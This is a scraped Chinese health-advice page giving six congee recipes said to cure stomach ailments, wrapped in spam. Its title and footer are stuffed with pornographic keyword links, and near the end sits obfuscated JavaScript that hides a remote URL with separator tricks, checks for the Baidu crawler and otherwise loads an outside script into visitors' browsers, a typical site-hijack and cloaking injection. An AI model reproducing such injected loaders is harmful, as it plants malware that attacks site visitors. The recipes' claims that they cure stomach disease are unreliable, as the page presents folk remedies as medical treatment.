久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

養(yǎng)胃營養(yǎng)粥都有什么?

2017-07-07 13:33:27  來源:360常識網   熱度:
導語:一些腸胃功能比較差的人,在天氣多變的時候,腸胃就會難受的更加的厲害。而出現(xiàn)了腸胃疾病,如果單單靠吃藥來治療,一般效果還是不太好,因

一些腸胃功能比較差的人,在天氣多變的時候,腸胃就會難受的更加的厲害。而出現(xiàn)了腸胃疾病,如果單單靠吃藥來治療,一般效果還是不太好,因為胃病主要是靠平時來養(yǎng)的,在平時多吃一些養(yǎng)胃的食物,就會慢慢的把胃調理好的。那么,我們可以吃一些什么食物來養(yǎng)胃呢?

1、八寶粥

蓮子、芡實、薏苡仁、山藥、桂圓、紅棗、白扁豆各5克、粳米l00克,煮粥食用。能益氣養(yǎng)血,健脾強身,適用于體虛乏力、食少納呆、氣血虧虛。

2、山楂麥芽粥

山楂15克,麥芽15克,粳米100克,煮粥食用。能健脾開胃,消食化積,適用于飲食不消化所致的脘腹脹滿、食欲不振、消化不良。

3、參棗粥

黨參15克,大棗10枚,粳米100克,煮粥食用。能健脾益氣,適用于體虛氣弱、食欲不振、脘腹脹滿。

4、山藥薏苡仁粥

山藥50克,薏苡仁15克,粳米100克,煮粥食用。能補氣健脾胃,止瀉,適用于脾胃虛弱所致食欲不振、脘腹脹滿、大便溏泄。

5、薏苡小豆粥

薏苡仁15克,赤小豆15克,粳米100克,煮粥食用。能滲濕利水,健脾益氣,適用于脾虛濕盛所致的食少納差、脘腹脹悶、尿少浮腫。

6、蓮子芡實粥

蓮子15克,芡實15克,粳米100克,補骨脂5克,煮粥食用。能健脾益氣養(yǎng)胃,補腎固精,適用于脾腎兩虛所致的食欲不振、脘腹脹滿、形寒肢冷、腰膝酸軟。

上述內容中介紹了六種養(yǎng)胃的營養(yǎng)粥,既有使用的原材料,又有各種原材料的比例,而且各種粥的功效也都一一的列出了。如果你有胃病,可以參照上述營養(yǎng)粥的療效,對照自己的疾病,選取適合自己的營養(yǎng)粥,經常的熬一熬來喝,就會讓胃變得越來越好的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产又色又爽又黄 | 日韩精品免费观看 | 成人综合在线观看 | 国产69精品99久久久久久宅男 | 国产精品久久国产精麻豆99网站 | 在线成人亚洲 | 日韩视频一区二区 | 爱爱视频免费播放 | 欧美久久一区 | 99看片| 亚洲午夜精品一区二区三区他趣 | 夜夜艹 | 成人a视频在线观看 | 成人黄色在线观看 | 久久精选视频 | 午夜影院免费 | 欧洲一区在线观看 | 精品久久久久久久久久久院品网 | 国产精品久久久久久久久久久不卡 | 精品成人| 蜜桃视频网站在线观看 | 国内久久 | 国产精品美女在线观看直播 | 国产真实乱全部视频 | 91最新视频 | 久久久一二三四 | 极品美女一区二区三区 | 99精品久久久久久久免费 | 欧美一区2区三区4区公司二百 | www.福利视频 | 亚洲 欧美 精品 | 成人天堂资源www在线 | 99久久久无码国产精品 | 国产一级片 | 在线观看日韩 | 国产精品99视频 | 日本黄色一区二区 | 91麻豆精品国产91久久久更新时间 | 国产午夜精品久久久 | 日韩在线观看网站 | 国产精品美女久久久久久久网站 |